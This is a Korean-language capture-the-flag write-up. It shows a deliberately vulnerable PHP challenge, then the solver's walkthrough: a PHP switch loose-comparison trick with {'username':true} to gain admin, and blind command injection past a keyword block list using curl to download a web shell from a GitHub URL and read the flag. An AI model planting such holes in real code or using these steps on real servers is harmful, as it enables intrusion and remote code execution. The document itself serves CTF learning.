<?php
// 설정 파일을 포함합니다.
include ("./config.php");
include("./config/db_config.php");
// 빈 메시지 변수를 초기화합니다.
$message = "";
// 요청 메서드가 POST인지 확인합니다.
if ($_SERVER["REQUEST_METHOD"]=="POST"){
// POST 요청에서 JSON 데이터를 디코딩합니다.
$data = json_decode($_POST["username"]);
// JSON 디코딩이 실패했는지 확인합니다.
if ($data === null) {
exit("Failed to parse JSON data");
}
// JSON 데이터에서 사용자 이름을 가져옵니다.
$username = $data->username;
// 사용자 이름이 'admin'이면 스크립트를 종료합니다.
if($username === "admin" ){
exit("No hack");
}
// 사용자 이름에 따라 동작을 결정하는 스위치문
switch($username){
// 사용자 이름이 'admin'일 경우
case "admin":
$user = "admin";
$password = "***REDACTED***"; // 실제 비밀번호는 보이지 않도록 처리됨
// SQL 쿼리를 준비하여 사용자 이름과 비밀번호로 사용자를 조회합니다.
$stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt -> bind_param("ss",$user,$password); // 사용자 이름과 비밀번호를 바인딩
$stmt -> execute(); // 쿼리 실행
$result = $stmt -> get_result(); // 결과 가져오기
if ($result -> num_rows == 1){
// 사용자가 존재하면 세션에 'admin' 권한을 부여하고 페이지를 이동시킵니다.
$_SESSION["auth"] = "admin";
header("Location: test.php");
} else {
// 사용자가 존재하지 않으면 메시지를 출력합니다.
$message = "Something wrong...";
}
break;
default:
// 'admin'이 아닌 경우, 'guest' 권한을 부여하고 페이지를 이동시킵니다.
$_SESSION["auth"] = "guest";
header("Location: test.php");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Enter Username</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
}
.container {
background-color: #ffffff;
width: 300px;
margin: 0 auto;
padding: 20px;
border: 1px solid #ccc;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
h2 {
text-align: center;
}
label {
display: block;
font-weight: bold;
margin-bottom: 10px;
}
input[type="text"] {
width: 90%;
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 3px;
}
input[type="submit"] {
background-color: #007bff;
color: #fff;
border: none;
padding: 10px 20px;
border-radius: 3px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
.message {
text-align: center;
color: red;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<h2>Enter Username</h2>
<form method="POST" action="index.php">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<input type="submit" value="Submit">
<div class="message"><?php echo $message; ?></div>
</form>
</div>
</body>
</html>
<?php
// 설정 파일을 포함합니다.
include ("./config.php");
// 특정 명령어 패턴을 감지하기 위한 정규 표현식을 정의합니다.
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';
// 사용자가 'admin' 권한을 가지고 있는지 확인합니다.
if($_SESSION["auth"] === "admin"){
// 'cmd' 파라미터로 전달된 명령어를 가져오거나 기본값으로 'ls'를 설정합니다.
$command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
// 명령어에서 줄바꿈 문자를 제거하여 명령어를 정리합니다.
$sanitized_command = str_replace("\n","",$command);
// 명령어가 금지된 패턴과 일치하는지 확인합니다.
if (preg_match($pattern, $sanitized_command)){
exit("No hack");
}
// 명령어를 실행하고 결과를 저장합니다.
$resulttt = shell_exec(escapeshellcmd($sanitized_command));
}
else if($_SESSION["auth"]=== "guest") {
// 'guest' 권한일 경우 기본 명령어를 실행합니다.
$command = "echo hi guest";
$result = shell_exec($command);
}
else {
// 인증되지 않은 사용자는 인증 메시지를 출력합니다.
$result = "Authentication first";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Command Test</title>
</head>
<body>
<h2>Command Test</h2>
<?php
echo "<pre>$result</pre>";
?>
</body>
</html>
<?php
ini_set('display_errors', 0);
session_start()
?>
문제에서는 json 형식으로 username을 받고있다.
{"username" : "admin"}
output => "no hack"
{"username" : "admin1"}
redirection > test.php
output => "hi guest"
두 가지를 간단하게 코드만 보고 테스트 해본 결과이다.
문제를 해결하기 위해선 test.php에 guest가 아닌 admin으로 접근할 필요가 있어보인다.
if($username === "admin" ){ exit("No hack"); }
username 에 admin으로 로그인해야하지만 === 비교이므로 "admin"값을 그대로 사용하는 경우 exit에 걸리고 만다.
하지만 아래의 php switch문 관련 자료를 보면 swtich문은 loose comparison을 사용한다는 점을 확인할 수 있다.
https://www.php.net/manual/en/control-structures.switch.php
{"username":true}
위의 값을 전달해준다면 맨위의 admin switch문에서 ture값으로 판단하여 admin 세션을 가지고 test.php에 접근할 수 있을 것이다.
test.php는 GET을 통해 처리하므로 URL에 ?로 cmd를 넘겨주면 될 것이다.
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';
blind command injection 상황으로 명령어 실행 결과 또한 반환해주지 않고있다.
따라서 필터링에 안걸리는 curl 명령어와 php이므로 웹쉘을 올릴려고 한다.
cmd=curl {webshellURL} -o shell.php
따라서 서버에서 웹쉘을 업로드 하고 실행해보았으나 웹쉘까지는 떳지만 정상작동이 안되는것을 확인하였다 .
서버는 개인 웹서버를 사용하였다.
하지만 결과는 자꾸 내 웹서버에 명령어를 날리고 내 웹서버의 파일들을 조회하고 있었다.
개발자 도구로 진입하면 url이 개인 웹 서버로 연결되어 내가 가진 웹 서버의 파일들을 조회하는 것을 확인하였다.
따로 깃에서 웹쉘코드를 올리고 raw 형식으로 빌드하였더니 서버의 파일들을 열람할 수 있었다.
cmd=curl -o webshell.php "https://raw.githubusercontent.com/eess22/webshell/main/webshell.php"
명령어를 통해 웹쉘을 업로드하고 웹쉘이 정상작동 되는것을 확인하였다. 이후 /flag를 통해 원하는 값을 탈취할 수 있었다.